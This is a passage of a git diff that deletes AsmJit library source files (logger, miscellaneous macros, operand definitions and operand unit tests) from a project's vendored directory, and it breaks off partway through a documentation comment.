b/src/Theodosius/asmjit/core/logger.h deleted file mode 100644 index 2840869..0000000 --- a/src/Theodosius/asmjit/core/logger.h +++ /dev/null @@ -1,228 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_LOGGING_H_INCLUDED -#define ASMJIT_CORE_LOGGING_H_INCLUDED - -#include "../core/inst.h" -#include "../core/string.h" -#include "../core/formatter.h" - -#ifndef ASMJIT_NO_LOGGING - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_logging -//! \{ - -// ============================================================================ -// [asmjit::Logger] -// ============================================================================ - -//! Logging interface. -//! -//! This class can be inherited and reimplemented to fit into your own logging -//! needs. When reimplementing a logger use \ref Logger::_log() method to log -//! customize the output. -//! -//! There are two `Logger` implementations offered by AsmJit: -//! - \ref FileLogger - logs into a `FILE*`. -//! - \ref StringLogger - concatenates all logs into a \ref String. -class ASMJIT_VIRTAPI Logger { -public: - ASMJIT_BASE_CLASS(Logger) - ASMJIT_NONCOPYABLE(Logger) - - //! Format options. - FormatOptions _options; - - //! \name Construction & Destruction - //! \{ - - //! Creates a `Logger` instance. - ASMJIT_API Logger() noexcept; - //! Destroys the `Logger` instance. - ASMJIT_API virtual ~Logger() noexcept; - - //! \} - - //! \name Format Options - //! \{ - - //! Returns \ref FormatOptions of this logger. - inline FormatOptions& options() noexcept { return _options; } - //! \overload - inline const FormatOptions& options() const noexcept { return _options; } - - //! Returns formatting flags, see \ref FormatOptions::Flags. - inline uint32_t flags() const noexcept { return _options.flags(); } - //! Tests whether the logger has the given `flag` enabled. - inline bool hasFlag(uint32_t flag) const noexcept { return _options.hasFlag(flag); } - //! Sets formatting flags to `flags`, see \ref FormatOptions::Flags. - inline void setFlags(uint32_t flags) noexcept { _options.setFlags(flags); } - //! Enables the given formatting `flags`, see \ref FormatOptions::Flags. - inline void addFlags(uint32_t flags) noexcept { _options.addFlags(flags); } - //! Disables the given formatting `flags`, see \ref FormatOptions::Flags. - inline void clearFlags(uint32_t flags) noexcept { _options.clearFlags(flags); } - - //! Returns indentation of `type`, see \ref FormatOptions::IndentationType. - inline uint32_t indentation(uint32_t type) const noexcept { return _options.indentation(type); } - //! Sets indentation of the given indentation `type` to `n` spaces, see \ref - //! FormatOptions::IndentationType. - inline void setIndentation(uint32_t type, uint32_t n) noexcept { _options.setIndentation(type, n); } - //! Resets indentation of the given indentation `type` to 0 spaces. - inline void resetIndentation(uint32_t type) noexcept { _options.resetIndentation(type); } - - //! \} - - //! \name Logging Interface - //! \{ - - //! Logs `str` - must be reimplemented. - //! - //! The function can accept either a null terminated string if `size` is - //! `SIZE_MAX` or a non-null terminated string of the given `size`. The - //! function cannot assume that the data is null terminated and must handle - //! non-null terminated inputs. - virtual Error _log(const char* data, size_t size) noexcept = 0; - - //! Logs string `str`, which is either null terminated or having size `size`. - inline Error log(const char* data, size_t size = SIZE_MAX) noexcept { return _log(data, size); } - //! Logs content of a string `str`. - inline Error log(const String& str) noexcept { return _log(str.data(), str.size()); } - - //! Formats the message by using `snprintf()` and then passes the formatted - //! string to \ref _log(). - ASMJIT_API Error logf(const char* fmt, ...) noexcept; - - //! Formats the message by using `vsnprintf()` and then passes the formatted - //! string to \ref _log(). - ASMJIT_API Error logv(const char* fmt, va_list ap) noexcept; - - //! Logs binary `data` of the given `size`. - ASMJIT_API Error logBinary(const void* data, size_t size) noexcept; - - //! \} -}; - -// ============================================================================ -// [asmjit::FileLogger] -// ============================================================================ - -//! Logger that can log to a `FILE*`. -class ASMJIT_VIRTAPI FileLogger : public Logger { -public: - ASMJIT_NONCOPYABLE(FileLogger) - - FILE* _file; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `FileLogger` that logs to `FILE*`. - ASMJIT_API FileLogger(FILE* file = nullptr) noexcept; - //! Destroys the `FileLogger`. - ASMJIT_API virtual ~FileLogger() noexcept; - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the logging output stream or null if the logger has no output - //! stream. - inline FILE* file() const noexcept { return _file; } - - //! Sets the logging output stream to `stream` or null. - //! - //! \note If the `file` is null the logging will be disabled. When a logger - //! is attached to `CodeHolder` or any emitter the logging API will always - //! be called regardless of the output file. This means that if you really - //! want to disable logging at emitter level you must not attach a logger - //! to it. - inline void setFile(FILE* file) noexcept { _file = file; } - - //! \} - - ASMJIT_API Error _log(const char* data, size_t size = SIZE_MAX) noexcept override; -}; - -// ============================================================================ -// [asmjit::StringLogger] -// ============================================================================ - -//! Logger that stores everything in an internal string buffer. -class ASMJIT_VIRTAPI StringLogger : public Logger { -public: - ASMJIT_NONCOPYABLE(StringLogger) - - //! Logger data as string. - String _content; - - //! \name Construction & Destruction - //! \{ - - //! Create new `StringLogger`. - ASMJIT_API StringLogger() noexcept; - //! Destroys the `StringLogger`. - ASMJIT_API virtual ~StringLogger() noexcept; - - //! \} - - //! \name Logger Data Accessors - //! \{ - - //! Returns the content of the logger as \ref String. - //! - //! It can be moved, if desired. - inline String& content() noexcept { return _content; } - //! \overload - inline const String& content() const noexcept { return _content; } - - //! Returns aggregated logger data as `char*` pointer. - //! - //! The pointer is owned by `StringLogger`, it can't be modified or freed. - inline const char* data() const noexcept { return _content.data(); } - //! Returns size of the data returned by `data()`. - inline size_t dataSize() const noexcept { return _content.size(); } - - //! \} - - //! \name Logger Data Manipulation - //! \{ - - //! Clears the accumulated logger data. - inline void clear() noexcept { _content.clear(); } - - //! \} - - ASMJIT_API Error _log(const char* data, size_t size = SIZE_MAX) noexcept override; -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif - -#endif // ASMJIT_CORE_LOGGER_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/misc_p.h b/src/Theodosius/asmjit/core/misc_p.h deleted file mode 100644 index 225ba6a..0000000 --- a/src/Theodosius/asmjit/core/misc_p.h +++ /dev/null @@ -1,51 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_MISC_P_H_INCLUDED -#define ASMJIT_CORE_MISC_P_H_INCLUDED - -#include "../core/api-config.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \cond INTERNAL -//! \addtogroup asmjit_utilities -//! \{ - -#define ASMJIT_LOOKUP_TABLE_4(T, I) T((I)), T((I+1)), T((I+2)), T((I+3)) -#define ASMJIT_LOOKUP_TABLE_8(T, I) ASMJIT_LOOKUP_TABLE_4(T, I), ASMJIT_LOOKUP_TABLE_4(T, I + 4) -#define ASMJIT_LOOKUP_TABLE_16(T, I) ASMJIT_LOOKUP_TABLE_8(T, I), ASMJIT_LOOKUP_TABLE_8(T, I + 8) -#define ASMJIT_LOOKUP_TABLE_32(T, I) ASMJIT_LOOKUP_TABLE_16(T, I), ASMJIT_LOOKUP_TABLE_16(T, I + 16) -#define ASMJIT_LOOKUP_TABLE_40(T, I) ASMJIT_LOOKUP_TABLE_16(T, I), ASMJIT_LOOKUP_TABLE_16(T, I + 16), ASMJIT_LOOKUP_TABLE_8(T, I + 32) -#define ASMJIT_LOOKUP_TABLE_64(T, I) ASMJIT_LOOKUP_TABLE_32(T, I), ASMJIT_LOOKUP_TABLE_32(T, I + 32) -#define ASMJIT_LOOKUP_TABLE_128(T, I) ASMJIT_LOOKUP_TABLE_64(T, I), ASMJIT_LOOKUP_TABLE_64(T, I + 64) -#define ASMJIT_LOOKUP_TABLE_256(T, I) ASMJIT_LOOKUP_TABLE_128(T, I), ASMJIT_LOOKUP_TABLE_128(T, I + 128) -#define ASMJIT_LOOKUP_TABLE_512(T, I) ASMJIT_LOOKUP_TABLE_256(T, I), ASMJIT_LOOKUP_TABLE_256(T, I + 256) -#define ASMJIT_LOOKUP_TABLE_1024(T, I) ASMJIT_LOOKUP_TABLE_512(T, I), ASMJIT_LOOKUP_TABLE_512(T, I + 512) - -//! \} -//! \endcond - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_MISC_P_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/operand.cpp b/src/Theodosius/asmjit/core/operand.cpp deleted file mode 100644 index cd5931f..0000000 --- a/src/Theodosius/asmjit/core/operand.cpp +++ /dev/null @@ -1,143 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/operand.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::Operand - Unit] -// ============================================================================ - -#if defined(ASMJIT_TEST) -UNIT(operand) { - INFO("Checking operand sizes"); - EXPECT(sizeof(Operand) == 16); - EXPECT(sizeof(BaseReg) == 16); - EXPECT(sizeof(BaseMem) == 16); - EXPECT(sizeof(Imm) == 16); - EXPECT(sizeof(Label) == 16); - - INFO("Checking basic functionality of Operand"); - Operand a, b; - Operand dummy; - - EXPECT(a.isNone() == true); - EXPECT(a.isReg() == false); - EXPECT(a.isMem() == false); - EXPECT(a.isImm() == false); - EXPECT(a.isLabel() == false); - EXPECT(a == b); - EXPECT(a._data[0] == 0); - EXPECT(a._data[1] == 0); - - INFO("Checking basic functionality of Label"); - Label label; - EXPECT(label.isValid() == false); - EXPECT(label.id() == Globals::kInvalidId); - - INFO("Checking basic functionality of BaseReg"); - EXPECT(BaseReg().isReg() == true); - EXPECT(BaseReg().isValid() == false); - EXPECT(BaseReg()._data[0] == 0); - EXPECT(BaseReg()._data[1] == 0); - EXPECT(dummy.as().isValid() == false); - - // Create some register (not specific to any architecture). - uint32_t rSig = Operand::kOpReg | (1 << Operand::kSignatureRegTypeShift ) | - (2 << Operand::kSignatureRegGroupShift) | - (8 << Operand::kSignatureSizeShift ) ; - BaseReg r1 = BaseReg::fromSignatureAndId(rSig, 5); - - EXPECT(r1.isValid() == true); - EXPECT(r1.isReg() == true); - EXPECT(r1.isReg(1) == true); - EXPECT(r1.isPhysReg() == true); - EXPECT(r1.isVirtReg() == false); - EXPECT(r1.signature() == rSig); - EXPECT(r1.type() == 1); - EXPECT(r1.group() == 2); - EXPECT(r1.size() == 8); - EXPECT(r1.id() == 5); - EXPECT(r1.isReg(1, 5) == true); // RegType and Id. - EXPECT(r1._data[0] == 0); - EXPECT(r1._data[1] == 0); - - // The same type of register having different id. - BaseReg r2(r1, 6); - EXPECT(r2.isValid() == true); - EXPECT(r2.isReg() == true); - EXPECT(r2.isReg(1) == true); - EXPECT(r2.isPhysReg() == true); - EXPECT(r2.isVirtReg() == false); - EXPECT(r2.signature() == rSig); - EXPECT(r2.type() == r1.type()); - EXPECT(r2.group() == r1.group()); - EXPECT(r2.size() == r1.size()); - EXPECT(r2.id() == 6); - EXPECT(r2.isReg(1, 6) == true); - - r1.reset(); - EXPECT(!r1.isReg()); - EXPECT(!r1.isValid()); - - INFO("Checking basic functionality of BaseMem"); - BaseMem m; - EXPECT(m.isMem()); - EXPECT(m == BaseMem()); - EXPECT(m.hasBase() == false); - EXPECT(m.hasIndex() == false); - EXPECT(m.hasOffset() == false); - EXPECT(m.isOffset64Bit() == true); - EXPECT(m.offset() == 0); - - m.setOffset(-1); - EXPECT(m.offsetLo32() == -1); - EXPECT(m.offset() == -1); - - int64_t x = int64_t(0xFF00FF0000000001u); - int32_t xHi = int32_t(0xFF00FF00u); - - m.setOffset(x); - EXPECT(m.offset() == x); - EXPECT(m.offsetLo32() == 1); - EXPECT(m.offsetHi32() == xHi); - - INFO("Checking basic functionality of Imm"); - Imm immValue(-42); - EXPECT(immValue.type() == Imm::kTypeInteger); - EXPECT(Imm(-1).value() == -1); - EXPECT(imm(-1).value() == -1); - EXPECT(immValue.value() == -42); - EXPECT(imm(0xFFFFFFFF).value() == int64_t(0xFFFFFFFF)); - - Imm immDouble(0.4); - EXPECT(immDouble.type() == Imm::kTypeDouble); - EXPECT(immDouble.valueAs() == 0.4); - EXPECT(immDouble == imm(0.4)); - -} -#endif - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/operand.h b/src/Theodosius/asmjit/core/operand.h deleted file mode 100644 index 05e4c0f..0000000 --- a/src/Theodosius/asmjit/core/operand.h +++ /dev/null @@ -1,1530 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_OPERAND_H_INCLUDED -#define ASMJIT_CORE_OPERAND_H_INCLUDED - -#include "../core/archcommons.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [Macros] -// ============================================================================ - -//! Adds a template specialization for `REG_TYPE` into the local `RegTraits`. -#define ASMJIT_DEFINE_REG_TRAITS(REG, REG_TYPE, GROUP, SIZE, COUNT, TYPE_ID) \ -template<> \ -struct RegTraits { \ - typedef REG RegT; \ - \ - static constexpr uint32_t kValid = 1; \ - static constexpr uint32_t kCount = COUNT; \ - static constexpr uint32_t kTypeId = TYPE_ID; \ - \ - static constexpr uint32_t kType = REG_TYPE; \ - static constexpr uint32_t kGroup = GROUP; \ - static constexpr uint32_t kSize = SIZE; \ - \ - static constexpr uint32_t kSignature = \ - (Operand::kOpReg << Operand::kSignatureOpTypeShift ) | \ - (kType << Operand::kSignatureRegTypeShift ) | \ - (kGroup << Operand::kSignatureRegGroupShift) | \ - (kSize << Operand::kSignatureSizeShift ) ; \ -} - -//! Adds constructors and member functions to a class that implements abstract -//! register. Abstract register is register that doesn't have type or signature -//! yet, it's a base class like `x86::Reg` or `arm::Reg`. -#define ASMJIT_DEFINE_ABSTRACT_REG(REG, BASE) \ -public: \ - /*! Default constructor that only setups basics. */ \ - constexpr REG() noexcept \ - : BASE(SignatureAndId(kSignature, kIdBad)) {} \ - \ - /*! Makes a copy of the `other` register operand. */ \ - constexpr REG(const REG& other) noexcept \ - : BASE(other) {} \ - \ - /*! Makes a copy of the `other` register having id set to `rId` */ \ - constexpr REG(const BaseReg& other, uint32_t rId) noexcept \ - : BASE(other, rId) {} \ - \ - /*! Creates a register based on `signature` and `rId`. */ \ - constexpr explicit REG(const SignatureAndId& sid) noexcept \ - : BASE(sid) {} \ - \ - /*! Creates a completely uninitialized REG register operand (garbage). */ \ - inline explicit REG(Globals::NoInit_) noexcept \ - : BASE(Globals::NoInit) {} \ - \ - /*! Creates a new register from register type and id. */ \ - static inline REG fromTypeAndId(uint32_t rType, uint32_t rId) noexcept { \ - return REG(SignatureAndId(signatureOf(rType), rId)); \ - } \ - \ - /*! Creates a new register from register signature and id. */ \ - static inline REG fromSignatureAndId(uint32_t rSgn, uint32_t rId) noexcept {\ - return REG(SignatureAndId(rSgn, rId)); \ - } \ - \ - /*! Clones the register operand. */ \ - constexpr REG clone() const noexcept { return REG(*this); } \ - \ - inline REG& operator=(const REG& other) noexcept = default; - -//! Adds constructors and member functions to a class that implements final -//! register. Final registers MUST HAVE a valid signature. -#define ASMJIT_DEFINE_FINAL_REG(REG, BASE, TRAITS) \ -public: \ - static constexpr uint32_t kThisType = TRAITS::kType; \ - static constexpr uint32_t kThisGroup = TRAITS::kGroup; \ - static constexpr uint32_t kThisSize = TRAITS::kSize; \ - static constexpr uint32_t kSignature = TRAITS::kSignature; \ - \ - ASMJIT_DEFINE_ABSTRACT_REG(REG, BASE) \ - \ - /*! Creates a register operand having its id set to `rId`. */ \ - constexpr explicit REG(uint32_t rId) noexcept \ - : BASE(SignatureAndId(kSignature, rId)) {} - -//! \addtogroup asmjit_assembler -//! \{ - -// ============================================================================ -// [asmjit::Operand_] -// ============================================================================ - -//! Constructor-less `Operand`. -//! -//! Contains no initialization code and can be used safely to define an array -//! of operands that won't be initialized. This is an `Operand` compatible -//! data structure designed to be statically initialized, static const, or to -//! be used by the user to define an array of operands without having them -//! default initialized. -//! -//! The key difference between `Operand` and `Operand_`: -//! -//! ``` -//! Operand_ xArray[10]; // Not initialized, contains garbage. -//! Operand yArray[10]; // All operands initialized to none. -//! ``` -struct Operand_ { - //! Operand's signature that provides operand type and additional information. - uint32_t _signature; - //! Either base id as used by memory operand or any id as used by others. - uint32_t _baseId; - - //! Data specific to the operand type. - //! - //! The reason we don't use union is that we have `constexpr` constructors that - //! construct operands and other `constexpr` functions that return wither another - //! Operand or something else. These cannot generally work with unions so we also - //! cannot use `union` if we want to be standard compliant. - uint32_t _data[2]; - - //! Indexes to `_data` array. - enum DataIndex : uint32_t { - kDataMemIndexId = 0, - kDataMemOffsetLo = 1, - - kDataImmValueLo = ASMJIT_ARCH_LE ? 0 : 1, - kDataImmValueHi = ASMJIT_ARCH_LE ? 1 : 0 - }; - - //! Operand types that can be encoded in `Operand`. - enum OpType : uint32_t { - //! Not an operand or not initialized. - kOpNone = 0, - //! Operand is a register. - kOpReg = 1, - //! Operand is a memory. - kOpMem = 2, - //! Operand is an immediate value. - kOpImm = 3, - //! Operand is a label. - kOpLabel = 4 - }; - static_assert(kOpMem == kOpReg + 1, "asmjit::Operand requires `kOpMem` to be `kOpReg+1`."); - - //! Label tag. - enum LabelTag { - //! Label tag is used as a sub-type, forming a unique signature across all - //! operand types as 0x1 is never associated with any register type. This - //! means that a memory operand's BASE register can be constructed from - //! virtually any operand (register vs. label) by just assigning its type - //! (register type or label-tag) and operand id. - kLabelTag = 0x1 - }; - - // \cond INTERNAL - enum SignatureBits : uint32_t { - // Operand type (3 least significant bits). - // |........|........|........|.....XXX| - kSignatureOpTypeShift = 0, - kSignatureOpTypeMask = 0x07u << kSignatureOpTypeShift, - - // Register type (5 bits). - // |........|........|........|XXXXX...| - kSignatureRegTypeShift = 3, - kSignatureRegTypeMask = 0x1Fu << kSignatureRegTypeShift, - - // Register group (4 bits). - // |........|........|....XXXX|........| - kSignatureRegGroupShift = 8, - kSignatureRegGroupMask = 0x0Fu << kSignatureRegGroupShift, - - // Memory base type (5 bits). - // |........|........|........|XXXXX...| - kSignatureMemBaseTypeShift = 3, - kSignatureMemBaseTypeMask = 0x1Fu << kSignatureMemBaseTypeShift, - - // Memory index type (5 bits). - // |........|........|...XXXXX|........| - kSignatureMemIndexTypeShift = 8, - kSignatureMemIndexTypeMask = 0x1Fu << kSignatureMemIndexTypeShift, - - // Memory base+index combined (10 bits). - // |........|........|...XXXXX|XXXXX...| - kSignatureMemBaseIndexShift = 3, - kSignatureMemBaseIndexMask = 0x3FFu << kSignatureMemBaseIndexShift, - - // This memory operand represents a home-slot or stack (Compiler) (1 bit). - // |........|........|..X.....|........| - kSignatureMemRegHomeShift = 13, - kSignatureMemRegHomeFlag = 0x01u << kSignatureMemRegHomeShift, - - // Immediate type (1 bit). - // |........|........|........|....X...| - kSignatureImmTypeShift = 4, - kSignatureImmTypeMask = 0x01u << kSignatureImmTypeShift, - - // Predicate used by either registers or immediate values (4 bits). - // |........|XXXX....|........|........| - kSignaturePredicateShift = 20, - kSignaturePredicateMask = 0x0Fu << kSignaturePredicateShift, - - // Operand size (8 most significant bits). - // |XXXXXXXX|........|........|........| - kSignatureSizeShift = 24, - kSignatureSizeMask = 0xFFu << kSignatureSizeShift - }; - //! \endcond - - //! Constants useful for VirtId <-> Index translation. - enum VirtIdConstants : uint32_t { - //! Minimum valid packed-id. - kVirtIdMin = 256, - //! Maximum valid packed-id, excludes Globals::kInvalidId. - kVirtIdMax = Globals::kInvalidId - 1, - //! Count of valid packed-ids. - kVirtIdCount = uint32_t(kVirtIdMax - kVirtIdMin + 1) - }; - - //! Tests whether the given `id` is a valid virtual register id. Since AsmJit - //! supports both physical and virtual registers it must be able to distinguish - //! between these two. The idea is that physical registers are always limited - //! in size, so virtual identifiers start from `kVirtIdMin` and end at `kVirtIdMax`. - static ASMJIT_INLINE bool isVirtId(uint32_t id) noexcept { return id - kVirtIdMin < uint32_t(kVirtIdCount); } - //! Converts a real-id into a packed-id that can be stored in Operand. - static ASMJIT_INLINE uint32_t indexToVirtId(uint32_t id) noexcept { return id + kVirtIdMin; } - //! Converts a packed-id back to real-id. - static ASMJIT_INLINE uint32_t virtIdToIndex(uint32_t id) noexcept { return id - kVirtIdMin; } - - //! \name Construction & Destruction - //! \{ - - //! \cond INTERNAL - //! Initializes a `BaseReg` operand from `signature` and register `id`. - inline void _initReg(uint32_t signature, uint32_t id) noexcept { - _signature = signature; - _baseId = id; - _data[0] = 0; - _data[1] = 0; - } - //! \endcond - - //! Initializes the operand from `other` operand (used by operator overloads). - inline void copyFrom(const Operand_& other) noexcept { memcpy(this, &other, sizeof(Operand_)); } - - //! Resets the `Operand` to none. - //! - //! None operand is defined the following way: - //! - Its signature is zero (kOpNone, and the rest zero as well). - //! - Its id is `0`. - //! - The reserved8_4 field is set to `0`. - //! - The reserved12_4 field is set to zero. - //! - //! In other words, reset operands have all members set to zero. Reset operand - //! must match the Operand state right after its construction. Alternatively, - //! if you have an array of operands, you can simply use `memset()`. - //! - //! ``` - //! using namespace asmjit; - //! - //! Operand a; - //! Operand b; - //! assert(a == b); - //! - //! b = x86::eax; - //! assert(a != b); - //! - //! b.reset(); - //! assert(a == b); - //! - //! memset(&b, 0, sizeof(Operand)); - //! assert(a == b); - //! ``` - inline void reset() noexcept { - _signature = 0; - _baseId = 0; - _data[0] = 0; - _data[1] = 0; - } - - //! \} - - //! \name Operator Overloads - //! \{ - - //! Tests whether this operand is the same as `other`. - constexpr bool operator==(const Operand_& other) const noexcept { return equals(other); } - //! Tests whether this operand is not the same as `other`. - constexpr bool operator!=(const Operand_& other) const noexcept { return !equals(other); } - - //! \} - - //! \name Cast - //! \{ - - //! Casts this operand to `T` type. - template - inline T& as() noexcept { return static_cast(*this); } - - //! Casts this operand to `T` type (const). - template - inline const T& as() const noexcept { return static_cast(*this); } - - //! \} - - //! \name Accessors - //! \{ - - //! Tests whether the operand's signature matches the given signature `sign`. - constexpr bool hasSignature(uint32_t signature) const noexcept { return _signature == signature; } - //! Tests whether the operand's signature matches the signature of the `other` operand. - constexpr bool hasSignature(const Operand_& other) const noexcept { return _signature == other.signature(); } - - //! Returns operand signature as unsigned 32-bit integer. - //! - //! Signature is first 4 bytes of the operand data. It's used mostly for - //! operand checking as it's much faster to check 4 bytes at once than having - //! to check these bytes individually. - constexpr uint32_t signature() const noexcept { return _signature; } - - //! Sets the operand signature, see `signature()`. - //! - //! \note Improper use of `setSignature()` can lead to hard-to-debug errors. - inline void setSignature(uint32_t signature) noexcept { _signature = signature; } - - //! \cond INTERNAL - template - constexpr bool _hasSignaturePart() const noexcept { - return (_signature & mask) != 0; - } - - template - constexpr bool _hasSignaturePart(uint32_t signature) const noexcept { - return (_signature & mask) == signature; - } - - template - constexpr uint32_t _getSignaturePart() const noexcept { - return (_signature >> Support::constCtz(mask)) & (mask >> Support::constCtz(mask)); - } - - template - inline void _setSignaturePart(uint32_t value) noexcept { - ASMJIT_ASSERT((value & ~(mask >> Support::constCtz(mask))) == 0); - _signature = (_signature & ~mask) | (value << Support::constCtz(mask)); - } - //! \endcond - - //! Returns the type of the operand, see `OpType`. - constexpr uint32_t opType() const noexcept { return _getSignaturePart(); } - //! Tests whether the operand is none (`kOpNone`). - constexpr bool isNone() const noexcept { return _signature == 0; } - //! Tests whether the operand is a register (`kOpReg`). - constexpr bool isReg() const noexcept { return opType() == kOpReg; } - //! Tests whether the operand is a memory location (`kOpMem`). - constexpr bool isMem() const noexcept { return opType() == kOpMem; } - //! Tests whether the operand is an immediate (`kOpImm`). - constexpr bool isImm() const noexcept { return opType() == kOpImm; } - //! Tests whether the operand is a label (`kOpLabel`). - constexpr bool isLabel() const noexcept { return opType() == kOpLabel; } - - //! Tests whether the operand is a physical register. - constexpr bool isPhysReg() const noexcept { return isReg() && _baseId < 0xFFu; } - //! Tests whether the operand is a virtual register. - constexpr bool isVirtReg() const noexcept { return isReg() && _baseId > 0xFFu; } - - //! Tests whether the operand specifies a size (i.e. the size is not zero). - constexpr bool hasSize() const noexcept { return _hasSignaturePart(); } - //! Tests whether the size of the operand matches `size`. - constexpr bool hasSize(uint32_t s) const noexcept { return size() == s; } - - //! Returns the size of the operand in bytes. - //! - //! The value returned depends on the operand type: - //! * None - Should always return zero size. - //! * Reg - Should always return the size of the register. If the register - //! size depends on architecture (like `x86::CReg` and `x86::DReg`) - //! the size returned should be the greatest possible (so it should - //! return 64-bit size in such case). - //! * Mem - Size is optional and will be in most cases zero. - //! * Imm - Should always return zero size. - //! * Label - Should always return zero size. - constexpr uint32_t size() const noexcept { return _getSignaturePart(); } - - //! Returns the operand id. - //! - //! The value returned should be interpreted accordingly to the operand type: - //! * None - Should be `0`. - //! * Reg - Physical or virtual register id. - //! * Mem - Multiple meanings - BASE address (register or label id), or - //! high value of a 64-bit absolute address. - //! * Imm - Should be `0`. - //! * Label - Label id if it was created by using `newLabel()` or - //! `Globals::kInvalidId` if the label is invalid or not - //! initialized. - constexpr uint32_t id() const noexcept { return _baseId; } - - //! Tests whether the operand is 100% equal to `other` operand. - //! - //! \note This basically performs a binary comparison, if aby bit is - //! different the operands are not equal. - constexpr bool equals(const Operand_& other) const noexcept { - return (_signature == other._signature) & - (_baseId == other._baseId ) & - (_data[0] == other._data[0] ) & - (_data[1] == other._data[1] ) ; - } - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("Use equals() instead") - constexpr bool isEqual(const Operand_& other) const noexcept { return equals(other); } -#endif //!ASMJIT_NO_DEPRECATED - - //! Tests whether the operand is a register matching `rType`. - constexpr bool isReg(uint32_t rType) const noexcept { - return (_signature & (kSignatureOpTypeMask | kSignatureRegTypeMask)) == - ((kOpReg << kSignatureOpTypeShift) | (rType << kSignatureRegTypeShift)); - } - - //! Tests whether the operand is register and of `rType` and `rId`. - constexpr bool isReg(uint32_t rType, uint32_t rId) const noexcept { - return isReg(rType) && id() == rId; - } - - //! Tests whether the operand is a register or memory. - constexpr bool isRegOrMem() const noexcept { - return Support::isBetween(opType(), kOpReg, kOpMem); - } - - //! \} -}; - -// ============================================================================ -// [asmjit::Operand] -// ============================================================================ - -//! Operand can contain register, memory location, immediate, or label. -class Operand : public Operand_ { -public: - //! \name Construction & Destruction - //! \{ - - //! Creates `kOpNone` operand having all members initialized to zero. - constexpr Operand() noexcept - : Operand_{ kOpNone, 0u, { 0u, 0u }} {} - - //! Creates a cloned `other` operand. - constexpr Operand(const Operand& other) noexcept = default; - - //! Creates a cloned `other` operand. - constexpr explicit Operand(const Operand_& other) - : Operand_(other) {} - - //! Creates an operand initialized to raw `[u0, u1, u2, u3]` values. - constexpr Operand(Globals::Init_, uint32_t u0, uint32_t u1, uint32_t u2, uint32_t u3) noexcept - : Operand_{ u0, u1, { u2, u3 }} {} - - //! Creates an uninitialized operand (dangerous). - inline explicit Operand(Globals::NoInit_) noexcept {} - - //! \} - - //! \name Operator Overloads - //! \{ - - inline Operand& operator=(const Operand& other) noexcept = default; - inline Operand& operator=(const Operand_& other) noexcept { return operator=(static_cast(other)); } - - //! \} - - //! \name Utilities - //! \{ - - //! Clones this operand and returns its copy. - constexpr Operand clone() const noexcept { return Operand(*this); } - - //! \} -}; - -static_assert(sizeof(Operand) == 16, "asmjit::Operand must be exactly 16 bytes long"); - -// ============================================================================ -// [asmjit::Label] -// ============================================================================ - -//! Label (jump target or data location). -//! -//! Label represents a location in code typically used as a jump target, but -//! may be also a reference to some data or a static variable. Label has to be -//! explicitly created by BaseEmitter. -//! -//! Example of using labels: -//! -//! ``` -//! // Create some emitter (for example x86::Assembler). -//! x86::Assembler a; -//! -//! // Create Label instance. 